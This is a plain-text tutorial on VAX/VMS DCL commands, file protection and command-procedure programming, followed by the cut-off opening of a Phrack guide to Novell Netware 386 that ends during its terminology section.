$ COPY TEMP.DAT,TEST.DAT NEW.DAT

Appending files: $ APPEND TEMP.DAT NEW.DAT

Deleting files: $ DELETE TEMP.DAT;1

$ DELETE *.DAT;*

$ DELETE /CONFIRM .DAT;* (confirm each file)

Displaying files: $ TYPE /PAGE TEMP.DATE (one page at a time)

Directories: $ DIRECTORY

$ DIRECTORY DJA1:[BYNON.PROG]

Printing files: $ PRINT TEMP.DAT

Purging files: $ PURGE *.DAT (erase all but latest version of .DAT files)

Create a dir: $ CREATE/DIRECTORY [.BUDGET]

Set default dir: $ SET DEFAULT [BYNON.PROG]

$ SET DEFAULT [.PROG]

Delete a dir: $ SET DEFAULT [BYNON.PROG]

$ DELETE *.*;*

$ SET DEFAULT [BYNON]

$ SET PROTECTION=(0:D) PROG.DIR;1 $ DELETE BUDGET.DIR;1

Logical Names

~~~~~~~~~~~~

A logical name is a substitute for a file specification, portion of a file specification, or another logical name. They provide two primary functions: file and device independence and file specification shorthand.

File and device independence means that you are not constrained by a physical element, such as a disk or printer name. If you use files nested deeply in subdirectories, with long names, or on devices or nodes other than your default, you can define a meaningful logical name to represent it. These shorthand names are faster to type and easier to remember.

To define a logical name:

$ DEFINE PARTS_DBF DJA2:[DATABASES]PARTS.DAT

This example will associate the logical name PARTS_DBF with the file specification DJA2 : [DATABASES]PARTS.DAT. Now, PARTS_DBF may be used anywhere as a substitute for the complete file specification.

Other commands also can be used to assign logical names.

Assign : Associates equivalence names with a logical name

Mount : Mounts a disk or tape volume and assigns a system logical for the volume.

Allocate: Allocates a system device for private use and optionally (command qualifier) assigns a logical name to the device.

Open : Opens a file for read or write operations and assigns a logical name to the file specification.

To display the logical name translations: $ SHOW LOGICAL PARTS_DBF will display: "PARTS_DBF" = "DJA2:[DATABASES]PARTS.DAT" (LNM$PROCESS_TABLE).

To deassign a logical name: $ DEASSIGN PARTS_DBF

System default logical names

~~~~~~~~~~~~~~~~~~~~~~~~~~~

SYS$COMMAND The initial file, or input stream, from which the DCL command line interpreter reads input data. The logical name SYS$COMMAND is equated to your terminal for interactive processes.

SYS$DISK Your default disk as assigned in the UAF.

SYS$ERROR The device on which the system displays all error and informational messages. By default, SYS$ERROR is assigned to your terminal for interactive processes, and to the batch job log file for any batch processes.

SYS$INPUT The default file or input stream from which data and commands are read by either the DCL command line interpreter or programs executing in your account. By default, SYS$INPUT is equated to your terminal for interactive processes and to the batch job stream (or command procedure) for batch processes.

Logical Name Tables

~~~~~~~~~~~~~~~~~

Logical names are stored in system files called logical name tables. The following are the four most commonly used:

Group table : Contains the logical names available to all users in your UIC (User Identification Code) group.

Job table : Contains the logical names available to your process and any subprocess it creates.

Process table: Contains the logical names available to your process only. System table : Contains the logical names that may be used by all users of the system.

User Environment

~~~~~~~~~~~~~~

The User Authorization File (UAF) is a system file controlled and modified by the system manager. A record for each system user is contained in the UAF.

A User Identification Code (UIC) is an identifier used by VAX/VMS to identify users and groups of users. It is used to identify processes, directories, files, and other objects in the system. A UIC may be specified numerically or alphanumerically, and is made up of two parts, a group and a member, specified in the format: [group,member]. For example, UIC [10,14] identifies group 10, user 14. The group number is an octal number in the range 1‑37776, and the member is an octal number in the range 0‑177776. An alphanumeric UIC contains a member name and optionally, a group name in the format: [member] or [group,member]. The group and member names in an alphanumeric UIC may contain 1 to 31 alphanumeric characters (A‑Z, 0‑9, underscore, dollar sign).

Each user of the system is limited in the consumption of system resources, and these limits control the rate at which your process or any subprocesses you create may consume a resource. There are 32 levels of priority in the VAX/VMS system, 0 through 31, the highest being 31. The priorities are divided into two ranges: timesharing (0‑15) and real‑time (16‑31). The default user priority is 4. Depending on how heavily the system is being used, your priority may be raised above the default, but never lowered below it. VAX/VMS maintains 35 privileges, divided into the following seven categories classified by how much damage could be done to the system by possessing them:

None No privileges.

Normal The minimum privilege needed to use the system effectively. Group The ability to effect members of the same UIC group. Devour The potential to consume noncritical system‑wide resources. System The ability to interfere with normal system operation. File The potential to bypass file protection security.

All The ability to take over the entire system.

VAX/VMS systems keep a record of overall computer system use by account holder in a system file called ACCOUNTING.DAT. The system manager uses this file to produce reports with the Accounting Utility. This can be used to learn more about how the system is being used, how it performs, and how a particular user is using the system. It can also be used to bill users for system time.

Terminal Characteristics

~~~~~~~~~~~~~~~~~~~~~~

Setting display width: $ SET TERMINAL/WIDTH=132

Shutting messages off: $ SET TERMINAL/NOBROADCAST

This prevents other users from phoning you, sending mail messages, and some system messages from appearing on your screen. If you just want mail and phone messages screened, use: $ SET BROADCAST=(NOMAIL,NOPHONE).

Increasing type‑ahead buffer: $ SET TERMINAL/ALTYPEHD/PERMANENT

Line editing modes: $ SET TERMINAL/INSERT or $ SET TERMINAL/OVERSTRIKE

Defining keys: $ DEFINE/KEY PF1 "SET DEFAULT DUA3:[INV.SUP]" % DCL‑I‑DEFKEY, DEFAULT key PF1 has been defined

Showing keys: $ SHOW KEY PF1 (or $ SHOW KEY ALL) DEFAULT keypad definitions:

PF1 = "SET DEFAULT DUA3:[INV.SUP]"

Deleting keys: $ DELETE/KEY PF1 (or $ DELETE/KEY ALL) % DCL‑I‑DELKEY, DEFAULT key PF1 has been deleted

Changing prompt: $ SET PROMPT = "What now?"

Displaying process information: $ SHOW PROCESS (add a qualifier)

Changing process information: $ SET PROCESS/NAME="Bob"

$ SET PROCESS/PRIVILEGES=OPER

File Security

~~~~~~~~~~~~

UIC‑based protection permits access to be granted or denied based on protection codes that reflect four user categories:

System: system manager

Owner : account owner

Group : users in same UIC group

World : all users of system, regardless of UIC

Four type of file access can be granted or denied to members of these user categories:

Read (R): read the file

Write (W): create or modify the file

Execute (E): run a program

Delete (D): delete the file

Generally, any category of user can be granted or denied file access with this protection scheme. However, you can read a file in a subdirectory with EXECUTE access if you know its filename and filetype. Also, since SYSTEM privileges include the ability to bypass all file protection, anyone within the SYSTEM category can read a file.

CONTROL access, or the ability to change the protection and ownership of a volume, is never specified in the UIC‑based protection code. This is the fifth type of protection that can be specified in an access control list (ACL). It's automatically granted to two user categories when VMS examines UIC‑based protection. Users in the SYSTEM and OWNER categories receive CONTROL access by default while GROUP and WORLD categories are denied CONTROL access.

File protection defaults are as follows:

System: RWED

Owner : RWED

Group : RE

World : No access

To determine the existing or default protection of a file, use the SHOW PROTECTION command. The default in the previous example would be: $ SHOW PROTECTION

SYSTEM=RWED, OWNER=RWED, GROUP=RE, WORLD=NO ACCESS

If you want to see file protection in directories, use the /PROTECTION qualifier with the DIRECTORY command.

To change the protection of a file, use the command:

$ SET PROTECTION=(O:RWE,G,W) LOGIN.COM

In this example, the account owner has READ, WRITE, and EXECUTE access to his LOGIN.COM file. The GROUP and WORLD categories have no access and SYSTEM access remains unchanged.

Rules for specifying protection codes:

1. Access types must be abbreviated with one letter: R, W, E, or D. 2. User categories may be spelled out or abbreviated.

3. Each user category must be separated from its access types with a colon. 4. If you specify multiple user categories, separate each with a comma and enclose the entire code in parenthesis.

5. User categories and access types may be specified in any order. 6. If you include a user category, but do not specify an access type for that category, access is automatically denied.

7. If you omit a user category entirely, protection for that category is unchanged.

Remember that VAX/VMS evaluates directory protection before file protection. If you grant WORLD:R access to a file, but the file is in a directory without WORLD:R access, another user couldn't read the file.

EDT Text Editor

~~~~~~~~~~~~~~

When you enter EDT, you automatically enter line mode, indicated by the EDT prompt, an asterisk (*). All line mode commands are made at the asterisk prompt and terminated by pressing <Return>. Lines that you input are numbered sequentially by the editor. You can reference a line or group of li^S^Qnes based on the line number or range of line numbers. A list of basic EDT commands follows. Each command may be abbreviated to the characters in parenthesis. Complete information on all EDT line mode commands can be found through the use of the line mode EDT HELP command.

Commands Function

~~~~~~~

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Change (C) Change from line to keypad mode. To switch back from keypad mode to line mode, press <Ctrl‑Z>.

Copy (CO) Copy a line or group of lines from one place to another. If you enter the command CO 5 to 10, line 5 will be copied to the line immediately preceding line 10. The command CO 5:10 to 20 would copy the contents of lines 5 through 10 into the area immediately preceding line 20. Delete (D) Delete a line or group of lines. The command D13 would delete line 13, while D13:20 will delete lines 13 to 20. Exit (EX) Terminates the EDT session, saving all changes. This also creates a new version of the file being edited. Help (H) Display on‑line help on all EDT line mode commands. The help messages will not be included in the file being edited. Include (INC) Copy text from an external file into the file being edited. When the EDT command INCLUDE FILENAME.TYPE is executed, the contents of FILENAME.TYPE are copied into the file being edited.

Insert (I) Inserts specified text directly before the current position in the file. While inserting text, you will not receive the EDT "*" prompt. Press <Ctrl‑Z> to return to the "*" prompt when you're finished inserting. Move (M) You can't cut and paste with a line‑oriented editor. Text will be moved to the area immediately preceding a specified line. The command M 10:15 to 50 would move lines 10 through 15 to the area immediately preceding line 50.

Quit (QUI) Exit the EDT editor without saving changes. Replace (R) Deletes a specified line or group of lines and enters the INSERT mode so you can add text in that place. The command R5:10 would delete lines 5 through 10 and switch to the INSERT mode to permit you to enter new text. To exit the INSERT mode, press <Ctrl‑Z>.

Resequence (RES) Numbers all of the lines in the file that you're editing in increments of 1. This is useful because text insertion, movement, or deletion causes the file to lose numeric sequence.

Substitute (S) Substitute a new text element for an old one in the format s/oldtext/newtext/range. The old and new text elements must be enclosed in angle bracket (< >) delimiters and the range must be specified. Write (WR) Write a given range of text to a new file. WRHISTORY.TXT 50:100 would write lines 50 through 100 to a new file called HISTORY.TXT.

EDT Help Manual

~~~~~~~~~~~~~

To dump the entire EDT Help file to disk, enter the following DCL command during a terminal session: $ ASSIGN EDTHELP.FIL SYS$OUTPUT. Now, enter line mode EDT and type: * HELP *. Now exit EDT and enter the DCL command: $ ASSIGN TTnn: SYS$OUTPUTT (TTnn: is your terminal number).

<:=‑ Part B : Programming VAX/VMS ‑=:>

Introduction

~~~~~~~~~~~

A symbol is a name chosen to represent a string of characters, a numeric value, or a logical (true/false) value. A symbol may be used wherever the value it represents would normally be found, and can be up to 255 characters long. Symbols must begin with a character, dollar sign, or underscore, and are not case‑sensitive. Symbols are created like this:

symbol_name = value (local symbol)

symbol_name == value (global symbol)

A global symbol may be used at any command level, but local symbols are lost when command procedures are finished. For example:

$ WIDE = "SET TERMINAL/WIDTH=132"

Now, anytime you type WIDE at the DCL command line, the terminal width will be changed to 132 characters. To show the contents of a symbol:

$ SHOW SYMBOL ANSWER

ANSWER = 1584 HEX = 00000630 OCTAL = 000000003060

The SHOW SYMBOL command uses the local symbol table by default. To show the value of a global symbol, use the /GLOBAL qualifier. To show all symbols, use the /ALL qualifier (or /GLOBAL/ALL). To delete symbols, use: $ DELETE/SYMBOL symbol_name command (with /GLOBAL if it's global).

When a DCL command is executed, symbols in the following positions are automatically translated:

o the beginning of the command

o in a lexical function

o in a WRITE or IF statement

o on the right side of an = or == assignment statement

o inside brackets on the left side of an assignment statement when you're preforming string substitution

If none of these cases fits, apostrophes will force the translation: $ DIRECTORY 'PARTS' (after $ PARTS = "DJA2:[DBA]PARTS.DAT")

Symbols are commonly used for shorthand. For example, to clear the screen:

$ ESC[0,8] == 27

$ CLEAR == "[J"

$ HOME == "[H"

$ CLR == WRITE SYS$OUTPUT ESC,HOME,ESC,CLEAR

Now, anytime you enter CLR, the screen will be cleared. Symbols can also be used to execute command procedures:

$ NETBACK == "@SYS$LOGIN:NETBACKUP"

Finally, foreign commands unknown to DCL can be executed by using symbols:

$ KERMIT == RUN SYS$$SYSTEM:KERMIT

DCL Expressions

~~~~~~~~~~~~~~

Expressions are built by combining data elements with operators. A logical comparison evaluates the relationship between two components as true or false (True = 1, False = 0).

Lexical functions are VAX/VMS routines that return process or system information, or manipulate user‑supplied data. Lexical functions are unique because the result is returned in the function name, allowing it to be used as a symbol (much like Pascal). Lexical functions are called with the following format:

F$function_name(parameter, parameter...)

For example, the following lexical function manipulates user‑supplied data:

$ STRING = "Go home right now!"

$ STRING = F$EDIT(STRING, "COMPRESS, UPCASE")

$ SHOW SYMBOL STRING

STRING = "GO HOME RIGHT NOW!"

Command Procedures

~~~~~~~~~~~~~~~~~

A command procedure is a file consisting of a sequence of DCL commands which can be executed interactively or as a batch job (like a .BAT file in MS‑DOS or a REXX EXEC in VM/SP). Command procedures are used in VAX/VMS to perform repetitive or complex tasks and to save time. With a command procedure, you can execute many DCL commands with a single statement.

Command procedures aren't bound by simple lists of DCL commands executed in sequence. They can take advantage of labels, lexical functions, symbols and relational operators to build sophisticated procedures which act like VAX/VMS programs. Command procedures are flexible. They can be written to take specific actions based on responses to questions, or even to perform a given function depending on the time or date.

Writing Command Procedures

~~~~~~~~~~~~~~~~~~~~~~~

A text editor such as EDT or EVE is used to create and edit command procedures, which should be named "PROCEDURE_NAME.COM". The file type ".COM" is the default procedure file type, and if a different file type is included, it must be included when the procedure is invoked.

Each new command line must begin with a dollar sign ($). Multiple spaces or tabs may be included after the "$" for readability, and command lines may be extended past a single line by ending the previous line with a hyphen (‑) and not starting the next line with a dollar sign.

Data input to programs, such as responses, must be entered without the dollar sign. Data lines are used by the program running and are not processed by the DCL command line interpreter. For example:

$ MAIL <‑‑‑ invokes the Mail Utility

SEND <‑‑‑ Mail SEND command

JONES, BOB <‑‑‑ response to Mail prompt "To:"

Memo <‑‑‑ response to Mail prompt "Subj:"

Bob, <‑‑‑ Mail message

How's it going?'?

Joe

$ <‑‑‑ terminates Mail program

$ EXIT <‑‑‑ terminates command procedure

Comments

~~~~~

Comments may be included by preceding them with an exclamation point (!), which causes everything to the right of it to be ignored by the DCL command interpreter. Comments make command procedures easier to debug and modify later. Spelling DCL commands out rather than using the abbreviations also makes the command procedure more readable.

Labels

~~~

Labels are used by the DCL command line interpreter for conditional processing and repetitive looping. Labels should be placed on separate lines, making them easier to find. Labels can be 255 characters long, may not contain blanks, and must be terminated with a colon (:).

Debugging

~~~~~~

The SET VERIFY command tells DCL to display each command as it processes it. This allows you to see where errors are generated, and how strings are translated. SET NOVERIFY turns the verify mode off.

The SHOW SYMBOL command displays the contents of defined symbols, and is used to show the contents of a symbol in a command procedure as it is being executed.

Invoking Command Procedures

~~~~~~~~~~~~~~~~~~~~~~~~~~

Command procedures may be invoked interactively by typing the "at" sign (@) followed by the procedure name. The file type must also be included if it is not ".COM" (the default). Command procedures may be invoked at the command line or from within another command procedure, called nesting. The DCL SUBMIT command will place your command (job) in a batch queue with other jobs waiting to be run. Command procedures are generally submitted as batch jobs when you want them to execute at a specific time, they will take a long time to run, or when a job must run at a reduced priority. The following command submits the command procedure ACCOUNT.COM to the VAX/VMS batch processor:

$ SUBMIT ACCOUNT

Job ACCOUNT (queue SYS$BATCH, entry 103) started on SYS$BATCH

The SYS$BATCH queue is the default and is used unless otherwise specified with the /QUEUE qualifier. When VAX/VMS runs this job, a process with your rights and privileges will be created and the procedure executed within that process.

Symbols

~~~~~~

Symbols may be local (single equal sign) or global (double equal sign). Local symbols are recognized by DCL only at the command level at which it was defined and more deeply nested levels (subsequently called command procedures). Global symbols are recognized at any command level. Local symbols should be used when the symbols is only needed for the duration of the command procedure employing it. You should only define global symbols if you're going to use them in other command procedures or for the duration of your login session.

An asterisk can be used to tell the command line interpreter (CLI) to accept abbreviations. For example:

$ NO*TES == "@SYS$LOGIN:NOTES"

This tells the CLI to accept NO, NOT, NOTE, or NOTES as a valid abbreviation for the NOTES command. This notation is usevul for long symbol names.

Lexical Functions

~~~~~~~~~~~~~~~~

Lexical functions allow you to obtain basically the same information as DCL SHOW commands. However, it's easier to manipulate information which comes from a lexical function. As an example, the following two command give the same information:

$ SHOW TIME ! DCL SHOW TIME command 12‑JUN‑1989 14:29:23

$ WRITE SYS$OUTPUT F$TIME() ! lexical function 12‑JUN‑1989 14:29:25.17

The second command is more usable, however:

$! Show_Date.COM

$!

$ TIME&DATE = F$TIME()

$ DATE = F$EXTRACT(0,11,TIME&DATE)

$ WRITE SYS$OUTPUT DATE

This procedure displays only the date portion of the string returned by the lexical function F$TIME(). (Use @SHOW_DATE to invoke it) VAX/VMS supports lexical functions to manipulate text strings, convert data types, and return information about the system, your process, symbols, files and devices.

Parameters

~~~~~~~~~

Eight reserved symbols (P1 through P8) are available to command procedures to supply data to process. By using these parameters in a command procedure, different data can be specified each time it's run. Parameter specification is done on the command line where the procedure is called. Unless designed to, the command procedure will not prompt for parameters. Parameters are separated with spaces and may be character strings, integers, or symbols. If you want to skip a parameter, us a null string (" ").

$! Add.Com

$! command procedure to demonstrate passing parameters

$! (add the first and third parameter)

$!

$ WRITE SYS$OUTPUT P1+P3

$ @ADD 12 " " 14

26

If a command procedure requires multiple letters or words as a single parameter, enclose it in quotes and it will be treated as one parameter and not converted to uppercase.

Terminal Output

~~~~~~~~~~~~

The WRITE and TYPE commands send data to the terminal. TYPE is used to display the contents of a file, but may also be used to print lines of text from within a command procedure. TYPE may only be used to output text strings. Since the WRITE command is processed be DCL, expressions, symbols and lexical functions are evaluated before the data is sent to the terminal.

The output expression must translate to a string and be sent to the logical device SYS$OUTPUT, but may be a string, lexical function, symbol, or any combination of the three. Here's an example of a command procedure that uses terminal output:

$! Writing a simple text string

$!

$ WRITE SYS$OUTPUT "This is a test..."

$!

$! Displaying multiple lines at the terminal

$!

$ TYPE SYS$OUTPUT Warning!

It's been 30 days since you changed

your password. Change it now!

$!

$! Writing a string with a lexical function

$!

$ WRITE SYS$OUTPUT " "HI' You are in directory "F$DIRECTORY()' "

Terminal Input

~~~~~~~~~~~

The INQUIRE command's default device is the terminal keyboard, while the READ command must be told where to accept data from. The INQUIRE command prompts for input, reads data and assigns it to a symbol. All data is accepted as a character string and is converted to uppercase and compressed (extra blanks removed). The READ command prompts for input if the /PROMPT qualifier is used, accepts data from a specified source and assigns it to a symbol. The data is accepted with no string conversion or compression occurring. Here's an example of a command procedure that uses terminal input:

$! Puts whatever you type in the symbol NAME

$! the /NOPUNCTUATION qualifier will suppress the colon

$! and space INQUIRE puts at the end of the prompt

$!

$ INQUIRE /NOPUNCTUATION NAME "What is your name? "

$!

$! Example of READ using SYS$INPUT (terminal) for data

$!

$ READ /PROMPT = "First value: " SYS$INPUT VALUE_1

$ READ /PROMPT = "Second value: " SYS$INPUT VALUE_2

$ WRITE SYS$OUTPUT VALUE_1," + ",VALUE_2," = ",VALUE_1+VALUE_2

File I/O

~~~~~~~

The basic steps to read and write files from within command procedures are similar to most other languages. Use the OPEN command to open the file. If it does not exist, OPEN will create it. Use the READ or WRITE commands to read or write text records from the file. Use the CLOSE command to close the file when you're done.

To open a file for writing, you must use the /APPEND or /WRITE qualifier. The /WRITE qualifier creates a new file and places the record pointer at the beginning of the file. If the file already exists, a new version will be created by OPEN/WRITE. The /APPEND qualifier is used to add records to the end of an existing file. The file must already exist before using the OPEN/APPEND command, and when the file is opened, the record pointer is placed at the end of the file.

To open a file for reading, use the /READ qualifier (the default for the OPEN command). A file opened for reading may not be written to, and the record pointer will initially be placed at the first record in the file. Each time a record is read, the pointer is moved down to the next record. The WRITE/UPDATE must be used to write over an existing record. Here's an example of a command procedure using file input and output:

$ OPEN/APPEND OUTPUT_FILE NEW.DAT

$ OPEN/READ INPUT_FILE OLD.DAT

$ READ INPUT_FILE RECORD

$ WRITE SYS$OUTPUT "First record from OLD.DAT ‑ ",RECORD

$ WRITE OUTPUT_FILE "First record from OLD.DAT ‑ ",RECORD

To open a file for both reading and writing, use both the /READ and /WRITE qualifiers. The record pointer will be placed at the first record in the file. Using this method, however, you can only overwrite the record you most recently read, and records you replace must be the same length.

Redirecting Command Procedure I/O

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Command procedures often invoke VAX/VMS utilities, and these programs will normally get input from the logical device SYS$INPUT. While executing a command procedure, SYS$INPUT is directed to the command procedure itself, and this is why you can put command and data lines for a utility or program directly in the procedure. SYS$COMMAND defaults to the terminal from where a command procedure is being executed, and by redirecting SYS$INPUT to SYS$COMMAND you can use utilities and other programs interactively from command procedures:

$ DEFINE/USER_MODE SYS$INPUT SYS$COMMAND:

$ EDIT JUNK.DAT

The /USER_MODE qualifier causes the re‑assignment to be in effect only for the next command.

Normally command procedure output is displayed at your terminal. You may redirect output to a file by using the /OUTPUT qualifier:

$ @SHOW_TIME/OUTPUT = TIME.DAT

By default, DCL error and severe error messages are directed to the file represented by the logical name SYS$ERROR, which usually points to your terminal. If you want to log error messages, simply redirect SYS$ERROR to a file. If you redirect SYS$ERROR without also redirecting SYS$OUTPUT, DCL will send error messages to both, and you'll receive the error messages twice ‑‑ at your terminal and in the file.

To completely suppress error messages you can redirect both SYS$ERROR and SYS$OUTPUT to the null device (NL:) or you can use the SET MESSAGE command to turn off all message output. To suppress all messages, use: SET MESSAGE/NOTEXT/NOIDENTIFICATION/NOFACILITY/NOSEVERITY.

Branching and Conditionals

~~~~~~~~~~~~~~~~~~~~~~~~~

You can use the DCL IF/THEN statements and conditional operators withing command procedures to cause the execution of a command based on the evaluation of a condition. The basic use is: $ IF condition THEN command. The condition is a Boolean expression (True or False) and the command is any legal DCL command. The following is a list of conditional operators:

Operator Function

~~~~~~~

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

.EQ. / .EQS. Determines if two numbers/character strings are equal .GE. / .GES. Tests to see whether the first number/character string is greater than or equal to the second

.GT. / .GTS. Determines if the first number/character string is greater than the second

.LE. / .LES. Tests to see if the first number/character string is less than or equal to the second

.LT. / .LTS. Determines if the first number/character string is less than the second

.NE. / .NES. Tests to see whether the two numbers/character strings are not equal

.AND. Combines two numbers with a logical AND (boolean algebra) .OR. Combines two numbers with a logical OR (boolean algebra) .NOT. Logically negates a value

The following is a command procedure using conditional branching:

$! Time.Com

$!

$ TIME = F$TIME()

$ HOUR = F$EXTRACT(12,2,TIME)

$ IF HOUR .LT. 12 THEN GOTO MORNING

$ IF HOUR .LT. 17 THEN GOTO AFTERNOON

$ IF HOUR .LT. 18 THEN GOTO EVENING

$ GOTO END

$ MORNING:

$ WRITE SYS$OUTPUT "Good morning!"

$ AFTERNOON:

$ WRITE SYS$OUTPUT "Good afternoon!"

$ EVENING:

$ WRITE SYS$OUTPUT "Good evening!"

$ END:

$ EXIT

Loops

~~

Loops are used to repeat a statement or group of statements until a given condition is met. DCL supports both DO WHILE and DO UNTIL loops. The DO WHILE loop tests the condition before evaluation:

$ LOOP:

$ IF .NOT. condition THEN GOTO END

.

.

.

$ GOTO LOOP

$ END:

$ EXIT

The DO UNTIL loop executes the statement(s) and then tests the condition:

$ LOOP:

.

.

.

$ IF condition THEN GOTO LOOP

$ EXIT

Subroutines

~~~~~~~~

The DCL command GOSUB transfers execution control to a label and the RETURN command terminates subroutine execution, returning control to the statement after the GOSUB command. Subroutines are useful where you need to do the same series of commands repeatedly in different parts of a command procedure. They also make procedures easier to read and more compact. The DCL commands GOSUB and RETURN are not supported in VAX/VMS versions before VAX/VMS Version 4.4. The following is an example procedure using a subroutine:

$! Personal.Com

$!

$! opens the personal info file

$!

$ OPEN/WRITE OUTPUT_FILE PERINFO.DAT

$!

$! collect info

$!

$ INQUIRE RECORD "Enter full name"

$ GOSUB WRITE_FILE

$ INQUIRE RECORD "Enter address"

$ GOSUB WRITE_FILE

$ INQUIRE RECORD "Enter phone number"

$ GOSUB WRITE_FILE

$ CLOSE OUTPUT_FILE

$ EXIT

$!

$! subroutine WRITE_FILE

$!

$ WRITE_FILE:

$ WRITE OUTPUT_FILE RECORD

$ RETURN

Error Handling

~~~~~~~~~~~~~

The command interpreter will execute an EXIT command if a severe error occurs, terminating the procedure and returning control to the previous command level, unless the DCL ON command is used to specify an action for the command interpreter to take. The ON command supports the three keywords WARNING, ERROR, and SEVERE_ERROR. To override error handling for procedure warnings, for example, use something like this:

$ ON WARNING THEN EXIT

or

$ ON WARNING THEN GOTO label

WARNING causes the command procedure to take action if a warning, error, or severe error occurs. ERROR causes the action if an error or severe error occurs, and SEVERE_ERROR causes the action only if a fatal error occurs.

$STATUS and $SEVERITY are reserved DCL global symbols, and each time a command is executed, values are assigned to these symbols. $STATUS holds the full condition code of the last statement and $SEVERITY holds an error severity level. The condition code in $STATUS is valid to the VAX/VMS MESSAGE facility and can be used in conjunction with F$MESSAGE to obtain the actual text message associated with the code:

$ SET DEFAULT DUB1:[BYNON]

$ WRITE SYS$OUTPUT $STATUS $X00000001

$ WRITE SYS$OUTPUT F$MESSAGE(%X00000001)

% SYSTEM‑S‑NORMAL, normal successful completion

All DCL commands will return a condition code, but not all condition codes have text messages. Condition codes without text messages will return the message "%NONAME‑E‑NOMSG Message number (8‑digit code)".

The message text isn't very useful for making conditional decisions though, so $SEVERITY is used. It contains one of five possible values extracted from the first three bits of $STATUS. Here are the codes:

Code Definition

~~~ ~~~~~~~~~~

0 Warning

1 Success

2 Error

3 Information

4 Severe Error

Odd values (1,3) indicate success while even values (0,2,4) indicate failure. There are basically two ways to use the status and severity codes to handle errors. The first is to treat $STATUS as a Boolean value:

$ SET NOON

$ command ! a DCL command

$ IF $STATUS THEN GOTO NO_ERR ! test $STATUS for T or F .

. ! handle the error

.

$ NO_ERR ! continue processing

.

.

.

$ EXIT

The second method is to trap the error with the ON WARNING command, then use the severity level to determine an appropriate course of action:

$ SET NOON

$ ON WARNING GOTO ERR_TRAP

$ command ! a DCL command

$ command ! a DCL command

.

.

.

$ EXIT

$!

$! error trap code

$!

$ ERR_TRAP:

$ SEVERITY = $SEVERITY ! save the error code $ IF SEVERITY = 0 THEN command ! if warning...

$ GOTO DONE

$ IF SEVERITY = 2 THEN command ! if error...

$ GOTO DONE

$ IF SEVERITY = 4 THEN command ! if severe error...

$ DONE:

.

.

.

$ EXIT

Error checking can be completely disabled with the SET NOON command. When this is in effect, the command interpreter continues updating the condition code, but does not perform any error checking. The DCL command SET ON restors error checking to normal. For example:

$ SET NOON ! turn off error checking

$ command ! a DCL command

$ SET ON ! restor error checking

Termination

~~~~~~~~~~

The EXIT command will terminate the current command procedure and return control to the command level that called it while the STOP command terminates all command procedures (if nested) and returns control to DCL.

Example Command Procedures

~~~~~~~~~~~~~~~~~~~~~~~~~

The following are two example command procedures to demonstrate some of the previously discussed techniques.

Login.Com

~~~~~~~~

$! Login.Com ‑ executed each time you log in

$!

$! Check for a network or batch login

$!

$ IF F$MODE() .EQS. "NETWORK" THEN GOTO NETWORK

$ IF F$MODE() .EQS. "BATCH" THEN GOTO BATCH

$!

$! Define process permanent symbols for convenience

$!

$ SD == "SET DEFAULT"

$ SH == "SET HOST"

$ WI*DE == "SET TERMINAL/WIDTH=132"

$ NA*RROW == "SET TERMINAL/WIDTH=80"

$ DIR*ECTORY == "DIRECTORY/SIZE"

$ PU*RGE == "PURGE/LOG/KEEP=2" ! keep latest 2 version $ HO*ME == "SET DEFAULT SYS$LOGIN:"

$ WHO == "SHOW USERS"

$ EVE == "EDIT/TPU"

$ EDT == "EDIT/EDT/COMMAND=SYS$LOGIN:EDTINI.EDT"

$ BR*OWSE == "TYPE/PAGE"

$!

$! Define special keys

$!

$ DEFINE/KEY/NOLOG/TERM PF1 "DIR" ! term ends with <enter> $ DEFINE/KEY/NOLOG PF2 "EDIT"

$ DEFINE/KEY/NOLOG/TERM/NOECHO PF3 "LOGOUT"

$ DEFINE/KEY/NOLOG/TERM/NOECHO HELP "SHOW KEY/ALL"

$!

$! Modify terminal characteristics

$!

$ SET TERMINAL/INSERT ! insert mode

$ SET PROMPT = "[BYNON]> "

$!

$! Show time and quit

$!

$ SHOW TIME

$ EXIT

$!

$! If it's a network login, we can now

$! perform some other commands if desired.

$! Just quit for now though.

$!

$ NETWORK:

$ EXIT

$!

$! If it's a batch job login, set verification on and quit. $!

$ BATCH:

$ SET VERIFY

$ EXIT

Subdir.Com

~~~~~~~~~

$! Subdir.Com ‑ how to search and parse character strings

$!

$ WRITE SYS$OUTPUT F$DIRECTORY()+ " Subdirectories:"

$ WRITE SYS$OUTPUT " "

$!

$! Search for subdirectory names and display them on the terminal $!

$ DIR$LOOP:

$ FILE = F$SEARCH("*.DIR")

$!

$! If DCL returns a null string (" ") we're done

$!

$ IF FILE .EQS. " "THEN GOTO END$DIR$LOOP

$!

$! Find the position of the period

$!

$ DOT = F$LOCATE(".",FILE)

$!

$! Find the position of the right bracket

$!

$ BRACKET = F$LOCATE("]",FILE)

$!

$! Extract the string between the dot and bracket

$!

$ FILE = F$EXTRACT(BRACKET+1,DOT‑BRACKET‑1,FILE)

$!

$! Display the subdirectory name and start over

$!

$ WRITE SYS$OUTPUT " ' 'FILE' "

$ GOTO DIR$LOOP

$ END$DIR$LOOP:

$ EXIT

<END PART I>

A Beginners Guide to Novell Netware 386

==Phrack Inc.==

Volume Three, Issue Thirty‑five, File 8 of 13

+=======================================

A Beginners Guide to Novell Netware 386

Brought to you by:

The Butler

+=======================================

As most of you know NOVELL is the most popular PC network software around,with that being the case I decided to put together a little file on just what you can do with a NOVELL network.

* The information in this file is primarily for NOVELL NETWARE 386 networks!!! If you have NOVELL NETWARE 286 some of this information may not be correct.

When the word "Network" is mentioned in this file I am referring to a PC‑based network or LAN (Local Area Network).

If you are not familiar with the concept of a "Network" I would suggest you first get acquainted with it by either picking up a good book or if you have access to one, go exploring.

This file is for those who have some experience with networks and or the concept of a network.

(‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Variations in Setups:

Every network is setup differently is some way. Even within the same company two different networks may be setup different. The differences may be slight or major and can consist of everything from menus to naming conventions.

Companies that install networks as a business are inconsistent with their setups also because every network technician does things differently and every customer wants things to be a certain way.

Keep this idea in mind when exploring different networks because most likely the setup will be different from network to network.

(‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Terminology:

Bindery‑‑ A database that contains definitions of entities such as users groups, and workgroups. The bindery is comprised of three components: objects, properties, and property data sets.

